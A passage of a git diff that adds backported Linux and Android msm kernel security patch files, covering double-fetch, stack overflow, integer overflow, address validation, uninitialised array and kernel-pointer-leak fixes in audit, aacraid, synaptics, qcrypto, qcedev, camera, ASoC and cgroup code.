MAX_EXECVE_AUDIT_LEN - arg_num_len - *len_sent; +- if (has_cntl) +- room_left -= (to_send * 2); +- else +- room_left -= to_send; +- if (room_left < 0) { +- *len_sent = 0; +- audit_log_end(*ab); +- *ab = audit_log_start(context, GFP_KERNEL, AUDIT_EXECVE); +- if (!*ab) +- return 0; +- } +- +- /* +- * first record needs to say how long the original string was +- * so we can be sure nothing was lost. +- */ +- if ((i == 0) && (too_long)) +- audit_log_format(*ab, " a%d_len=%zu", arg_num, +- has_cntl ? 2*len : len); +- +- /* +- * normally arguments are small enough to fit and we already +- * filled buf above when we checked for control characters +- * so don't bother with another copy_from_user +- */ +- if (len >= max_execve_audit_len) +- ret = copy_from_user(buf, p, to_send); +- else +- ret = 0; +- if (ret) { +- WARN_ON(1); +- send_sig(SIGKILL, current, 0); +- return -1; +- } +- buf[to_send] = '\0'; +- +- /* actually log it */ +- audit_log_format(*ab, " a%d", arg_num); +- if (too_long) +- audit_log_format(*ab, "[%d]", i); +- audit_log_format(*ab, "="); +- if (has_cntl) +- audit_log_n_hex(*ab, buf, to_send); +- else +- audit_log_string(*ab, buf); +- +- p += to_send; +- len_left -= to_send; +- *len_sent += arg_num_len; +- if (has_cntl) +- *len_sent += to_send * 2; +- else +- *len_sent += to_send; +- } +- /* include the null we didn't log */ +- return len + 1; +-} +- + static void audit_log_execve_info(struct audit_context *context, + struct audit_buffer **ab, + struct audit_aux_data_execve *axi) + { +- int i, len; +- size_t len_sent = 0; +- const char __user *p; ++ long len_max; ++ long len_rem; ++ long len_full; ++ long len_buf; ++ long len_abuf; ++ long len_tmp; ++ bool require_data; ++ bool encode; ++ unsigned int iter; ++ unsigned int arg; ++ char *buf_head; + char *buf; ++ const char __user *p; ++ ++ /* NOTE: this buffer needs to be large enough to hold all the non-arg ++ * data we put in the audit record for this argument (see the ++ * code below) ... at this point in time 96 is plenty */ ++ char abuf[96]; + + if (axi->mm != current->mm) + return; /* execve failed, no additional info */ + + p = (const char __user *)axi->mm->arg_start; + +- audit_log_format(*ab, "argc=%d", axi->argc); ++ /* NOTE: we set MAX_EXECVE_AUDIT_LEN to a rather arbitrary limit, the ++ * current value of 7500 is not as important as the fact that it ++ * is less than 8k, a setting of 7500 gives us plenty of wiggle ++ * room if we go over a little bit in the logging below */ ++ WARN_ON_ONCE(MAX_EXECVE_AUDIT_LEN > 7500); ++ len_max = MAX_EXECVE_AUDIT_LEN; + +- /* +- * we need some kernel buffer to hold the userspace args. Just +- * allocate one big one rather than allocating one of the right size +- * for every single argument inside audit_log_single_execve_arg() +- * should be <8k allocation so should be pretty safe. +- */ +- buf = kmalloc(MAX_EXECVE_AUDIT_LEN + 1, GFP_KERNEL); +- if (!buf) { +- audit_panic("out of memory for argv string\n"); ++ /* scratch buffer to hold the userspace args */ ++ buf_head = kmalloc(MAX_EXECVE_AUDIT_LEN + 1, GFP_KERNEL); ++ if (!buf_head) { ++ audit_panic("out of memory for argv string"); + return; + } ++ buf = buf_head; + +- for (i = 0; i < axi->argc; i++) { +- len = audit_log_single_execve_arg(context, ab, i, +- &len_sent, p, buf); +- if (len <= 0) +- break; +- p += len; +- } +- kfree(buf); ++ audit_log_format(*ab, "argc=%d", axi->argc); ++ ++ len_rem = len_max; ++ len_buf = 0; ++ len_full = 0; ++ require_data = true; ++ encode = false; ++ iter = 0; ++ arg = 0; ++ do { ++ /* NOTE: we don't ever want to trust this value for anything ++ * serious, but the audit record format insists we ++ * provide an argument length for really long arguments, ++ * e.g. > MAX_EXECVE_AUDIT_LEN, so we have no choice but ++ * to use strncpy_from_user() to obtain this value for ++ * recording in the log, although we don't use it ++ * anywhere here to avoid a double-fetch problem */ ++ if (len_full == 0) ++ len_full = strnlen_user(p, MAX_ARG_STRLEN) - 1; ++ ++ /* read more data from userspace */ ++ if (require_data) { ++ /* can we make more room in the buffer? */ ++ if (buf != buf_head) { ++ memmove(buf_head, buf, len_buf); ++ buf = buf_head; ++ } ++ ++ /* fetch as much as we can of the argument */ ++ len_tmp = strncpy_from_user(&buf_head[len_buf], p, ++ len_max - len_buf); ++ if (len_tmp == -EFAULT) { ++ /* unable to copy from userspace */ ++ send_sig(SIGKILL, current, 0); ++ goto out; ++ } else if (len_tmp == (len_max - len_buf)) { ++ /* buffer is not large enough */ ++ require_data = true; ++ /* NOTE: if we are going to span multiple ++ * buffers force the encoding so we stand ++ * a chance at a sane len_full value and ++ * consistent record encoding */ ++ encode = true; ++ len_full = len_full * 2; ++ p += len_tmp; ++ } else { ++ require_data = false; ++ if (!encode) ++ encode = audit_string_contains_control( ++ buf, len_tmp); ++ /* try to use a trusted value for len_full */ ++ if (len_full < len_max) ++ len_full = (encode ? ++ len_tmp * 2 : len_tmp); ++ p += len_tmp + 1; ++ } ++ len_buf += len_tmp; ++ buf_head[len_buf] = '\0'; ++ ++ /* length of the buffer in the audit record? */ ++ len_abuf = (encode ? len_buf * 2 : len_buf + 2); ++ } ++ ++ /* write as much as we can to the audit log */ ++ if (len_buf > 0) { ++ /* NOTE: some magic numbers here - basically if we ++ * can't fit a reasonable amount of data into the ++ * existing audit buffer, flush it and start with ++ * a new buffer */ ++ if ((sizeof(abuf) + 8) > len_rem) { ++ len_rem = len_max; ++ audit_log_end(*ab); ++ *ab = audit_log_start(context, ++ GFP_KERNEL, AUDIT_EXECVE); ++ if (!*ab) ++ goto out; ++ } ++ ++ /* create the non-arg portion of the arg record */ ++ len_tmp = 0; ++ if (require_data || (iter > 0) || ++ ((len_abuf + sizeof(abuf)) > len_rem)) { ++ if (iter == 0) { ++ len_tmp += snprintf(&abuf[len_tmp], ++ sizeof(abuf) - len_tmp, ++ " a%d_len=%lu", ++ arg, len_full); ++ } ++ len_tmp += snprintf(&abuf[len_tmp], ++ sizeof(abuf) - len_tmp, ++ " a%d[%d]=", arg, iter++); ++ } else ++ len_tmp += snprintf(&abuf[len_tmp], ++ sizeof(abuf) - len_tmp, ++ " a%d=", arg); ++ WARN_ON(len_tmp >= sizeof(abuf)); ++ abuf[sizeof(abuf) - 1] = '\0'; ++ ++ /* log the arg in the audit record */ ++ audit_log_format(*ab, "%s", abuf); ++ len_rem -= len_tmp; ++ len_tmp = len_buf; ++ if (encode) { ++ if (len_abuf > len_rem) ++ len_tmp = len_rem / 2; /* encoding */ ++ audit_log_n_hex(*ab, buf, len_tmp); ++ len_rem -= len_tmp * 2; ++ len_abuf -= len_tmp * 2; ++ } else { ++ if (len_abuf > len_rem) ++ len_tmp = len_rem - 2; /* quotes */ ++ audit_log_n_string(*ab, buf, len_tmp); ++ len_rem -= len_tmp + 2; ++ /* don't subtract the "2" because we still need ++ * to add quotes to the remaining string */ ++ len_abuf -= len_tmp; ++ } ++ len_buf -= len_tmp; ++ buf += len_tmp; ++ } ++ ++ /* ready to move to the next argument? */ ++ if ((len_buf == 0) && !require_data) { ++ arg++; ++ iter = 0; ++ len_full = 0; ++ require_data = true; ++ encode = false; ++ } ++ } while (arg < axi->argc); ++ ++ /* NOTE: the caller handles the final audit_log_end() call */ ++ ++out: ++ kfree(buf_head); + } + + static void show_special(struct audit_context *context, int *call_panic) diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0276-2c0ffdb8571a-aacraid Check size values after doublefetch from user.patch b/recipes-kernel/linux/linux-bass/autopatcher/0276-2c0ffdb8571a-aacraid Check size values after doublefetch from user.patch new file mode 100644 index 0000000..8f4f54b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0276-2c0ffdb8571a-aacraid Check size values after doublefetch from user.patch @@ -0,0 +1,68 @@ +From 2c0ffdb8571a7d123e7546b0d8240a6a31c6cd91 Mon Sep 17 00:00:00 2001 +From: Dave Carroll +Date: Fri, 5 Aug 2016 13:44:10 -0600 +Subject: aacraid: Check size values after double-fetch from user + +commit fa00c437eef8dc2e7b25f8cd868cfa405fcc2bb3 upstream. + +In aacraid's ioctl_send_fib() we do two fetches from userspace, one the +get the fib header's size and one for the fib itself. Later we use the +size field from the second fetch to further process the fib. If for some +reason the size from the second fetch is different than from the first +fix, we may encounter an out-of- bounds access in aac_fib_send(). We +also check the sender size to insure it is not out of bounds. This was +reported in https://bugzilla.kernel.org/show_bug.cgi?id=116751 and was +assigned CVE-2016-6480. + +Reported-by: Pengfei Wang +Fixes: 7c00ffa31 '[SCSI] 2.6 aacraid: Variable FIB size (updated patch)' +Cc: stable@vger.kernel.org +Signed-off-by: Dave Carroll +Reviewed-by: Johannes Thumshirn +Signed-off-by: Martin K. Petersen +Signed-off-by: Willy Tarreau +--- + drivers/scsi/aacraid/commctrl.c | 13 +++++++++++-- + 1 file changed, 11 insertions(+), 2 deletions(-) + +diff --git a/drivers/scsi/aacraid/commctrl.c b/drivers/scsi/aacraid/commctrl.c +index ee6caddd978c..d6fcadd7de2c 100644 +--- a/drivers/scsi/aacraid/commctrl.c ++++ b/drivers/scsi/aacraid/commctrl.c +@@ -63,7 +63,7 @@ static int ioctl_send_fib(struct aac_dev * dev, void __user *arg) + struct fib *fibptr; + struct hw_fib * hw_fib = (struct hw_fib *)0; + dma_addr_t hw_fib_pa = (dma_addr_t)0LL; +- unsigned size; ++ unsigned int size, osize; + int retval; + + if (dev->in_reset) { +@@ -87,7 +87,8 @@ static int ioctl_send_fib(struct aac_dev * dev, void __user *arg) + * will not overrun the buffer when we copy the memory. Return + * an error if we would. + */ +- size = le16_to_cpu(kfib->header.Size) + sizeof(struct aac_fibhdr); ++ osize = size = le16_to_cpu(kfib->header.Size) + ++ sizeof(struct aac_fibhdr); + if (size < le16_to_cpu(kfib->header.SenderSize)) + size = le16_to_cpu(kfib->header.SenderSize); + if (size > dev->max_fib_size) { +@@ -118,6 +119,14 @@ static int ioctl_send_fib(struct aac_dev * dev, void __user *arg) + goto cleanup; + } + ++ /* Sanity check the second copy */ ++ if ((osize != le16_to_cpu(kfib->header.Size) + ++ sizeof(struct aac_fibhdr)) ++ || (size < le16_to_cpu(kfib->header.SenderSize))) { ++ retval = -EINVAL; ++ goto cleanup; ++ } ++ + if (kfib->header.Command == cpu_to_le16(TakeABreakPt)) { + aac_adapter_interrupt(dev); + /* +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0277-d8649432b96b-PATCH input synaptics allocate heap memory for buffer.patch b/recipes-kernel/linux/linux-bass/autopatcher/0277-d8649432b96b-PATCH input synaptics allocate heap memory for buffer.patch new file mode 100644 index 0000000..e5f0b7a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0277-d8649432b96b-PATCH input synaptics allocate heap memory for buffer.patch @@ -0,0 +1,65 @@ +From d8649432b96bd361de20168372c10269e88e1258 Mon Sep 17 00:00:00 2001 +From: Min Chong +Date: Wed, 17 Aug 2016 23:50:14 -0700 +Subject: [PATCH] input: synaptics: allocate heap memory for buffer + +Allocate buffer memory on the heap instead of the stack +to avoid a potential stack overflow in the write function. + +Bug: 30537088 +Change-Id: Ibe54ac391ade69e4c0c87bf5332c8bcae730e94c +Signed-off-by: Ivan Lozano +--- + .../input/touchscreen/synaptics_i2c_rmi4.c | 25 ++++++++++++------- + 1 file changed, 16 insertions(+), 9 deletions(-) + +diff --git a/drivers/input/touchscreen/synaptics_i2c_rmi4.c b/drivers/input/touchscreen/synaptics_i2c_rmi4.c +index eade21de3e15d..ecfbe6a3f9a23 100644 +--- a/drivers/input/touchscreen/synaptics_i2c_rmi4.c ++++ b/drivers/input/touchscreen/synaptics_i2c_rmi4.c +@@ -1214,15 +1214,16 @@ static int synaptics_rmi4_i2c_write(struct synaptics_rmi4_data *rmi4_data, + { + int retval; + unsigned char retry; +- unsigned char buf[length + 1]; +- struct i2c_msg msg[] = { +- { +- .addr = rmi4_data->i2c_client->addr, +- .flags = 0, +- .len = length + 1, +- .buf = buf, +- } +- }; ++ unsigned char *buf; ++ struct i2c_msg msg[1]; ++ ++ buf = kzalloc(length + 1, GFP_KERNEL); ++ if (!buf) { ++ dev_err(&rmi4_data->i2c_client->dev, ++ "%s: Failed to alloc mem for buffer\n", ++ __func__); ++ return -ENOMEM; ++ } + + mutex_lock(&(rmi4_data->rmi4_io_ctrl_mutex)); + +@@ -1230,6 +1231,11 @@ static int synaptics_rmi4_i2c_write(struct synaptics_rmi4_data *rmi4_data, + if (retval != PAGE_SELECT_LEN) + goto exit; + ++ msg[0].addr = rmi4_data->i2c_client->addr; ++ msg[0].flags = 0; ++ msg[0].len = length + 1; ++ msg[0].buf = buf; ++ + buf[0] = addr & MASK_8BIT; + memcpy(&buf[1], &data[0], length); + +@@ -1253,6 +1259,7 @@ static int synaptics_rmi4_i2c_write(struct synaptics_rmi4_data *rmi4_data, + + exit: + mutex_unlock(&(rmi4_data->rmi4_io_ctrl_mutex)); ++ kfree(buf); + + return retval; + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0278-cc95d644ee8a-msm crypto Fix integer over flow check in qcrypto driver.patch b/recipes-kernel/linux/linux-bass/autopatcher/0278-cc95d644ee8a-msm crypto Fix integer over flow check in qcrypto driver.patch new file mode 100644 index 0000000..5444206 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0278-cc95d644ee8a-msm crypto Fix integer over flow check in qcrypto driver.patch @@ -0,0 +1,40 @@ +From cc95d644ee8a043f2883d65dda20e16f95041de3 Mon Sep 17 00:00:00 2001 +From: Zhen Kong +Date: Tue, 16 Aug 2016 12:46:12 -0700 +Subject: msm: crypto: Fix integer over flow check in qcrypto driver + +Integer overflow check is invalid when ULONG_MAX is used, +as ULONG_MAX has typeof 'unsigned long', while req->assoclen, +req->crytlen, and qreq.ivsize are 'unsigned int'. Make change +to use UINT_MAX instead of ULONG_MAX. + +CRs-fixed: 1050970 +Change-Id: I3782ea7ed2eaacdcad15b34e047a4699bf4f9e4f +Signed-off-by: Zhen Kong +--- + drivers/crypto/msm/qcrypto.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +diff --git a/drivers/crypto/msm/qcrypto.c b/drivers/crypto/msm/qcrypto.c +index 40a4105..2d83304 100644 +--- a/drivers/crypto/msm/qcrypto.c ++++ b/drivers/crypto/msm/qcrypto.c +@@ -1870,12 +1870,12 @@ static int _qcrypto_process_aead(struct crypto_engine *pengine, + * include assoicated data, ciphering data stream, + * generated MAC, and CCM padding. + */ +- if ((MAX_ALIGN_SIZE * 2 > ULONG_MAX - req->assoclen) || ++ if ((MAX_ALIGN_SIZE * 2 > UINT_MAX - req->assoclen) || + ((MAX_ALIGN_SIZE * 2 + req->assoclen) > +- ULONG_MAX - qreq.ivsize) || ++ UINT_MAX - qreq.ivsize) || + ((MAX_ALIGN_SIZE * 2 + req->assoclen + + qreq.ivsize) +- > ULONG_MAX - req->cryptlen)) { ++ > UINT_MAX - req->cryptlen)) { + pr_err("Integer overflow on aead req length.\n"); + return -EINVAL; + } +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0279-a829c54236b4-qcedev Validate Source and Destination addresses.patch b/recipes-kernel/linux/linux-bass/autopatcher/0279-a829c54236b4-qcedev Validate Source and Destination addresses.patch new file mode 100644 index 0000000..a2b9d82 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0279-a829c54236b4-qcedev Validate Source and Destination addresses.patch @@ -0,0 +1,104 @@ +From a829c54236b455885c3e9c7c77ac528b62045e79 Mon Sep 17 00:00:00 2001 +From: AnilKumar Chimata +Date: Wed, 31 Aug 2016 14:08:16 +0530 +Subject: qcedev: Validate Source and Destination addresses + +Source and Destination addresses passed by user space apps/clients +are validated independent of type of operation to mitigate kernel +address space exploitation. + +Change-Id: I9ecb0103d7a73eedb2e0d1db1d5613b18dd77e59 +Signed-off-by: AnilKumar Chimata +--- + drivers/crypto/msm/qcedev.c | 68 ++++++++++++++++++++------------------------- + 1 file changed, 30 insertions(+), 38 deletions(-) + +diff --git a/drivers/crypto/msm/qcedev.c b/drivers/crypto/msm/qcedev.c +index e63f061..1402d3d 100644 +--- a/drivers/crypto/msm/qcedev.c ++++ b/drivers/crypto/msm/qcedev.c +@@ -1234,44 +1234,6 @@ static int qcedev_vbuf_ablk_cipher(struct qcedev_async_req *areq, + struct qcedev_cipher_op_req *saved_req; + struct qcedev_cipher_op_req *creq = &areq->cipher_op_req; + +- /* Verify Source Address's */ +- for (i = 0; i < areq->cipher_op_req.entries; i++) +- if (!access_ok(VERIFY_READ, +- (void __user *)areq->cipher_op_req.vbuf.src[i].vaddr, +- areq->cipher_op_req.vbuf.src[i].len)) +- return -EFAULT; +- +- /* Verify Destination Address's */ +- if (creq->in_place_op != 1) { +- for (i = 0, total = 0; i < QCEDEV_MAX_BUFFERS; i++) { +- if ((areq->cipher_op_req.vbuf.dst[i].vaddr != 0) && +- (total < creq->data_len)) { +- if (!access_ok(VERIFY_WRITE, +- (void __user *)creq->vbuf.dst[i].vaddr, +- creq->vbuf.dst[i].len)) { +- pr_err("%s:DST WR_VERIFY err %d=0x%lx\n", +- __func__, i, (uintptr_t) +- creq->vbuf.dst[i].vaddr); +- return -EFAULT; +- } +- total += creq->vbuf.dst[i].len; +- } +- } +- } else { +- for (i = 0, total = 0; i < creq->entries; i++) { +- if (total < creq->data_len) { +- if (!access_ok(VERIFY_WRITE, +- (void __user *)creq->vbuf.src[i].vaddr, +- creq->vbuf.src[i].len)) { +- pr_err("%s:SRC WR_VERIFY err %d=0x%lx\n", +- __func__, i, (uintptr_t) +- creq->vbuf.src[i].vaddr); +- return -EFAULT; +- } +- total += creq->vbuf.src[i].len; +- } +- } +- } + total = 0; + + if (areq->cipher_op_req.mode == QCEDEV_AES_MODE_CTR) +@@ -1569,6 +1531,36 @@ static int qcedev_check_cipher_params(struct qcedev_cipher_op_req *req, + __func__, total, req->data_len); + goto error; + } ++ /* Verify Source Address's */ ++ for (i = 0, total = 0; i < req->entries; i++) { ++ if (total < req->data_len) { ++ if (!access_ok(VERIFY_READ, ++ (void __user *)req->vbuf.src[i].vaddr, ++ req->vbuf.src[i].len)) { ++ pr_err("%s:SRC RD_VERIFY err %d=0x%lx\n", ++ __func__, i, (uintptr_t) ++ req->vbuf.src[i].vaddr); ++ goto error; ++ } ++ total += req->vbuf.src[i].len; ++ } ++ } ++ ++ /* Verify Destination Address's */ ++ for (i = 0, total = 0; i < QCEDEV_MAX_BUFFERS; i++) { ++ if ((req->vbuf.dst[i].vaddr != 0) && ++ (total < req->data_len)) { ++ if (!access_ok(VERIFY_WRITE, ++ (void __user *)req->vbuf.dst[i].vaddr, ++ req->vbuf.dst[i].len)) { ++ pr_err("%s:DST WR_VERIFY err %d=0x%lx\n", ++ __func__, i, (uintptr_t) ++ req->vbuf.dst[i].vaddr); ++ goto error; ++ } ++ total += req->vbuf.dst[i].len; ++ } ++ } + return 0; + error: + return -EINVAL; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0280-80a1d9978c11-msm camera Restructure data handling to be more robust.patch b/recipes-kernel/linux/linux-bass/autopatcher/0280-80a1d9978c11-msm camera Restructure data handling to be more robust.patch new file mode 100644 index 0000000..b96fc04 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0280-80a1d9978c11-msm camera Restructure data handling to be more robust.patch @@ -0,0 +1,137 @@ +From 80a1d9978c11f76bbe6d2e622bf2ded18f27e34f Mon Sep 17 00:00:00 2001 +From: VijayaKumar T M +Date: Wed, 7 Sep 2016 12:53:43 +0530 +Subject: msm: camera: Restructure data handling to be more robust + +Use dynamic array allocation instead of static array to +prevent stack overflow. +User-supplied number of bytes may result in integer overflow. +To fix this we check that the num_byte isn't above 8K size. + +CRs-Fixed: 1060554 +Change-Id: I9b05b846e5cc3a62b1a0a67be529f09abc764796 +Signed-off-by: VijayaKumar T M +--- + .../msm/camera_v2/sensor/io/msm_camera_cci_i2c.c | 6 ++++ + .../msm/camera_v2/sensor/io/msm_camera_qup_i2c.c | 39 ++++++++++++++++++++-- + 2 files changed, 43 insertions(+), 2 deletions(-) + +diff --git a/drivers/media/platform/msm/camera_v2/sensor/io/msm_camera_cci_i2c.c b/drivers/media/platform/msm/camera_v2/sensor/io/msm_camera_cci_i2c.c +index 07b7e32..f970233 100644 +--- a/drivers/media/platform/msm/camera_v2/sensor/io/msm_camera_cci_i2c.c ++++ b/drivers/media/platform/msm/camera_v2/sensor/io/msm_camera_cci_i2c.c +@@ -71,6 +71,12 @@ int32_t msm_camera_cci_i2c_read_seq(struct msm_camera_i2c_client *client, + || num_byte == 0) + return rc; + ++ if (num_byte > I2C_REG_DATA_MAX) { ++ pr_err("%s: Error num_byte:0x%x exceeds 8K max supported:0x%x\n", ++ __func__, num_byte, I2C_REG_DATA_MAX); ++ return rc; ++ } ++ + buf = kzalloc(num_byte, GFP_KERNEL); + if (!buf) { + pr_err("%s:%d no memory\n", __func__, __LINE__); +diff --git a/drivers/media/platform/msm/camera_v2/sensor/io/msm_camera_qup_i2c.c b/drivers/media/platform/msm/camera_v2/sensor/io/msm_camera_qup_i2c.c +index ee0e9ba..5fd11ebb 100644 +--- a/drivers/media/platform/msm/camera_v2/sensor/io/msm_camera_qup_i2c.c ++++ b/drivers/media/platform/msm/camera_v2/sensor/io/msm_camera_qup_i2c.c +@@ -102,7 +102,7 @@ int32_t msm_camera_qup_i2c_read(struct msm_camera_i2c_client *client, + enum msm_camera_i2c_data_type data_type) + { + int32_t rc = -EFAULT; +- unsigned char buf[client->addr_type+data_type]; ++ unsigned char *buf = NULL; + + if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) +@@ -110,6 +110,17 @@ int32_t msm_camera_qup_i2c_read(struct msm_camera_i2c_client *client, + && data_type != MSM_CAMERA_I2C_WORD_DATA)) + return rc; + ++ if (client->addr_type > UINT_MAX - data_type) { ++ pr_err("%s: integer overflow prevented\n", __func__); ++ return rc; ++ } ++ ++ buf = kzalloc(client->addr_type+data_type, GFP_KERNEL); ++ if (!buf) { ++ pr_err("%s:%d no memory\n", __func__, __LINE__); ++ return -ENOMEM; ++ } ++ + if (client->addr_type == MSM_CAMERA_I2C_BYTE_ADDR) { + buf[0] = addr; + } else if (client->addr_type == MSM_CAMERA_I2C_WORD_ADDR) { +@@ -119,6 +130,8 @@ int32_t msm_camera_qup_i2c_read(struct msm_camera_i2c_client *client, + rc = msm_camera_qup_i2c_rxdata(client, buf, data_type); + if (rc < 0) { + S_I2C_DBG("%s fail\n", __func__); ++ kfree(buf); ++ buf = NULL; + return rc; + } + +@@ -128,6 +141,8 @@ int32_t msm_camera_qup_i2c_read(struct msm_camera_i2c_client *client, + *data = buf[0] << 8 | buf[1]; + + S_I2C_DBG("%s addr = 0x%x data: 0x%x\n", __func__, addr, *data); ++ kfree(buf); ++ buf = NULL; + return rc; + } + +@@ -135,7 +150,7 @@ int32_t msm_camera_qup_i2c_read_seq(struct msm_camera_i2c_client *client, + uint32_t addr, uint8_t *data, uint32_t num_byte) + { + int32_t rc = -EFAULT; +- unsigned char buf[client->addr_type+num_byte]; ++ unsigned char *buf = NULL; + int i; + + if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR +@@ -143,6 +158,22 @@ int32_t msm_camera_qup_i2c_read_seq(struct msm_camera_i2c_client *client, + || num_byte == 0) + return rc; + ++ if (num_byte > I2C_REG_DATA_MAX) { ++ pr_err("%s: Error num_byte:0x%x exceeds 8K max supported:0x%x\n", ++ __func__, num_byte, I2C_REG_DATA_MAX); ++ return rc; ++ } ++ if (client->addr_type > UINT_MAX - num_byte) { ++ pr_err("%s: integer overflow prevented\n", __func__); ++ return rc; ++ } ++ ++ buf = kzalloc(client->addr_type+num_byte, GFP_KERNEL); ++ if (!buf) { ++ pr_err("%s:%d no memory\n", __func__, __LINE__); ++ return -ENOMEM; ++ } ++ + if (client->addr_type == MSM_CAMERA_I2C_BYTE_ADDR) { + buf[0] = addr; + } else if (client->addr_type == MSM_CAMERA_I2C_WORD_ADDR) { +@@ -152,6 +183,8 @@ int32_t msm_camera_qup_i2c_read_seq(struct msm_camera_i2c_client *client, + rc = msm_camera_qup_i2c_rxdata(client, buf, num_byte); + if (rc < 0) { + S_I2C_DBG("%s fail\n", __func__); ++ kfree(buf); ++ buf = NULL; + return rc; + } + +@@ -161,6 +194,8 @@ int32_t msm_camera_qup_i2c_read_seq(struct msm_camera_i2c_client *client, + S_I2C_DBG("Byte %d: 0x%x\n", i, buf[i]); + S_I2C_DBG("Data: 0x%x\n", data[i]); + } ++ kfree(buf); ++ buf = NULL; + return rc; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0281-4907b74ecd5e-ASoC msm initialize the params array before using it.patch b/recipes-kernel/linux/linux-bass/autopatcher/0281-4907b74ecd5e-ASoC msm initialize the params array before using it.patch new file mode 100644 index 0000000..c424fb7 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0281-4907b74ecd5e-ASoC msm initialize the params array before using it.patch @@ -0,0 +1,38 @@ +From 4907b74ecd5ef8c6d85f1b430f386e381d5b8229 Mon Sep 17 00:00:00 2001 +From: Walter Yang +Date: Wed, 7 Sep 2016 16:28:50 +0800 +Subject: ASoC: msm: initialize the params array before using it + +The params array is used without initialization, which may cause +security issues. Initialize it as all zero after the definition. + +CRs-Fixed: 1062271 +Change-Id: If462fe3d82f139d72547f82dc7eb564f83cb35bf +Signed-off-by: Walter Yang +--- + sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c b/sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c +index 26528e6..58a4de5 100644 +--- a/sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c ++++ b/sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c +@@ -1024,6 +1024,7 @@ static int msm_compr_ioctl_shared(struct snd_pcm_substream *substream, + struct snd_dec_ddp *ddp = + &compr->info.codec_param.codec.options.ddp; + uint32_t params_length = 0; ++ memset(params_value, 0, MAX_AC3_PARAM_SIZE); + /* check integer overflow */ + if (ddp->params_length > UINT_MAX/sizeof(int)) { + pr_err("%s: Integer overflow ddp->params_length %d\n", +@@ -1064,6 +1065,7 @@ static int msm_compr_ioctl_shared(struct snd_pcm_substream *substream, + struct snd_dec_ddp *ddp = + &compr->info.codec_param.codec.options.ddp; + uint32_t params_length = 0; ++ memset(params_value, 0, MAX_AC3_PARAM_SIZE); + /* check integer overflow */ + if (ddp->params_length > UINT_MAX/sizeof(int)) { + pr_err("%s: Integer overflow ddp->params_length %d\n", +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0282-5ee75a32931d-cgroup prefer pK to p.patch b/recipes-kernel/linux/linux-bass/autopatcher/0282-5ee75a32931d-cgroup prefer pK to p.patch new file mode 100644 index 0000000..9453091 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0282-5ee75a32931d-cgroup prefer pK to p.patch @@ -0,0 +1,32 @@ +From 5ee75a32931dc70a7af2be42650ac5f14db99674 Mon Sep 17 00:00:00 2001 +From: Nick Desaulniers +Date: Mon, 12 Sep 2016 15:47:42 -0700 +Subject: cgroup: prefer %pK to %p + +Prevents leaking kernel pointers when using kptr_restrict. + +Bug: 30149174 +Change-Id: I0fa3cd8d4a0d9ea76d085bba6020f1eda073c09b +Git-repo: https://android.googlesource.com/kernel/msm.git +Git-commit: 505e48f32f1321ed7cf80d49dd5f31b16da445a8 +Signed-off-by: Srinivasa Rao Kuppala +--- + kernel/cgroup.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/kernel/cgroup.c b/kernel/cgroup.c +index 05b36e7..1e2c358 100644 +--- a/kernel/cgroup.c ++++ b/kernel/cgroup.c +@@ -5449,7 +5449,7 @@ static int cgroup_css_links_read(struct cgroup *cont, + struct css_set *cg = link->cg; + struct task_struct *task; + int count = 0; +- seq_printf(seq, "css_set %p\n", cg); ++ seq_printf(seq, "css_set %pK\n", cg); + list_for_each_entry(task, &cg->tasks, cg_list) { + if (count++ > MAX_TASKS_SHOWN_PER_CSS) { + seq_puts(seq, " ...\n"); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0283-b5df02edbcdf-msm sensor validate the i2c table index before use.patch b/recipes-kernel/linux/linux-bass/autopatcher/0283-b5df02edbcdf-msm sensor validate the i2c table index before use.patch new file mode 100644 index 0000000..63320d9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0283-b5df02edbcdf-msm sensor validate the i2c table index before use.patch @@ -0,0 +1,58 @@ +From b5df02edbcdf53dbbab77903d28162772edcf6e0 Mon Sep 17 00:00:00 2001 +From: Suman Mukherjee +Date: Thu, 22 Sep 2016 09:06:48 +0530 +Subject: msm: sensor: validate the i2c table index before use + +Verifying the i2c table index value before accessing +the i2c table to avoid memory corruption issues. +CRs-Fixed: 1065916 + +Change-Id: I0e31c22f90006f27a77cd420288334b8355cee95 +Signed-off-by: Sureshnaidu Laveti +Signed-off-by: Suman Mukherjee +--- + .../platform/msm/camera_v2/sensor/actuator/msm_actuator.c | 14 +++++++++----- + 1 file changed, 9 insertions(+), 5 deletions(-) + +diff --git a/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c b/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c +index 1f4eaa1..bebe691 100644 +--- a/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c ++++ b/drivers/media/platform/msm/camera_v2/sensor/actuator/msm_actuator.c +@@ -91,11 +91,6 @@ static void msm_actuator_parse_i2c_params(struct msm_actuator_ctrl_t *a_ctrl, + struct 